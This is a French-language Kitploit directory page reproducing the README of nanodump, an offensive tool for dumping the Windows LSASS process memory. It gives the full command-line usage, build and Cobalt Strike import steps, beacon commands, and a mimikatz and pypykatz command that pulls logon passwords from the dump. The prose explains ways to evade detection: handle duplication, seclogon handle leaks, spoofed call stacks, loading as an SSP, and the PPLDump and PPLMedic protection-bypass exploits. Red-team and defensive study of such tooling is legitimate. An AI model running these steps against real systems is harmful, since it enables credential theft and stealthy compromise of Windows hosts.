Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nanodump — Le couteau suisse du dump LSASS | Kitploit
Outils/GitHubGitHub/fortra/nanodump
Escalade de PrivilègesCriminalistique MémoireExploitationPost-ExploitationTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubfortra/nanodump

nanodump

Le couteau suisse du dump LSASS

Voir le dépôt
2.1k27229il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

NanoDump

Un outil flexible qui crée un minidump du processus LSASS.

screenshot

Table des matières

  1. Utilisation
  2. Fonctionnalités
  3. Combinaisons de techniques
  4. Exemples
  5. Redirecteurs HTTPS

1. Utilisation

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Clone

git clone https://github.com/fortra/nanodump.git

Compilation (optionnel)

Sous Linux avec MinGW

make -f Makefile.mingw

Sous Windows avec MSVC (Pas de support BOF)

nmake -f Makefile.msvc

Importation (CobaltStrike uniquement)

Importez le script NanoDump.cna sur Cobalt Strike.

Exécution

Exécutez la commande nanodump dans la console Beacon ou le binaire nanodump.x64.exe.

Restaurer la signature

Si vous n'avez pas spécifié le drapeau --valid, vous devez restaurer la signature invalide

scripts/restore_signature <dumpfile>

Obtenir les secrets

mimikatz:
Pour obtenir les secrets, exécutez simplement :

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz:
Si vous préférez rester sous Linux, vous pouvez utiliser le port python3 de mimikatz appelé pypykatz :

python3 -m pypykatz lsa minidump <dumpfie>

2. Fonctionnalités

Fork de processus

Pour éviter d'ouvrir un handle vers LSASS avec PROCESS_VM_READ, vous pouvez utiliser le paramètre --fork.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un 'clone' du processus. Ce nouveau processus sera ensuite dumpé. Bien que cela entraîne la création et la suppression d'un processus, cela supprime le besoin de lire LSASS directement.

Instantané

De manière similaire à l'option --fork, vous pouvez utiliser --snapshot pour créer un instantané du processus LSASS.
Cela fera en sorte que nanodump crée un handle vers LSASS avec un accès PROCESS_CREATE_PROCESS puis crée un instantané du processus en utilisant PssNtCaptureSnapshot. Ce nouveau processus sera ensuite dumpé. L'instantané sera libéré automatiquement une fois terminé.

Duplication de handles

Comme l'ouverture d'un handle vers LSASS peut être détectée, nanodump peut plutôt rechercher des handles existants vers LSASS.
S'il en trouve un, il le copie et l'utilise pour créer le minidump.
Notez qu'il n'est pas garanti de trouver un tel handle.

Élévation de handle

Vous pouvez obtenir un handle vers LSASS avec PROCESS_QUERY_LIMITED_INFORMATION, qui est susceptible d'être autorisé, puis élever ce handle en le dupliquant.

Fuite de handle Seclogon local

Pour éviter d'ouvrir un handle vers LSASS, vous pouvez abuser du service seclogon en appelant CreateProcessWithLogonW pour faire fuiter un handle LSASS dans le binaire nanodump.
Pour activer cette fonctionnalité, utilisez le paramètre --seclogon-leak-local.
À prendre en compte : lorsqu'elle est utilisée depuis Cobalt Strike, un binaire nanodump non signé doit être écrit sur le disque pour utiliser cette fonctionnalité.

Fuite de handle Seclogon à distance

Cette technique est très similaire à la précédente, mais au lieu de faire fuiter le handle dans nanodump, il est divulgué dans un autre binaire puis dupliqué afin que nanodump puisse l'utiliser. Utilisez le drapeau --seclogon-leak-remote pour accéder à cette fonctionnalité.

Duplication de handle Seclogon

Vous pouvez piéger le processus seclogon pour qu'il ouvre un handle vers LSASS et le duplique avant qu'il ne soit fermé, en gagnant une condition de concurrence à l'aide de verrous de fichiers. Utilisez le drapeau --seclogon-duplicate pour accéder à cette fonctionnalité.

Charger nanodump en tant que SSP

Vous pouvez charger nanodump en tant que SSP dans LSASS pour éviter d'ouvrir un handle.
Lorsque la DLL a été chargée dans LSASS, les paramètres seront transmis via un pipe nommé et une fois le dump terminé, DllMain retournera FALSE pour que LSASS décharge la DLL nanodump.
Vous pouvez coder en dur les paramètres dans la DLL et éviter complètement l'utilisation du pipe nommé avec le drapeau du compilateur PASS_PARAMS_VIA_NAMED_PIPES=0.

Télécharger et charger une DLL nanodump

Par défaut, une DLL nanodump non signée sera téléchargée dans le dossier Temp, qui sera supprimée automatiquement.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Si vous souhaitez charger une DLL préexistante, vous pouvez exécuter :

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Exploit PPL Dump

Si LSASS s'exécute en tant que Protected Process Light (PPL), vous pouvez essayer de le contourner en utilisant un exploit en espace utilisateur découvert par Project Zero. S'il réussit, le dump sera écrit sur le disque.

Notez que cette vulnérabilité a été corrigée dans le pack de mise à jour de juillet 2022 (Windows 10 21H2 Build 19044.1826)

Pour accéder à cette fonctionnalité, utilisez la commande nanodump_ppl_dump

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Exploit PPL Medic

Nanodump implémente également l'exploit PPLMedic, qui fonctionne sur les systèmes disposant du pack de mise à jour de juillet 2022. Les paramètres seront transmis à la DLL nanodump via un pipe nommé. Vous pouvez coder en dur les paramètres dans la DLL et éviter complètement l'utilisation du pipe nommé avec le drapeau du compilateur PASS_PARAMS_VIA_NAMED_PIPES=0.
Télécharger l’outil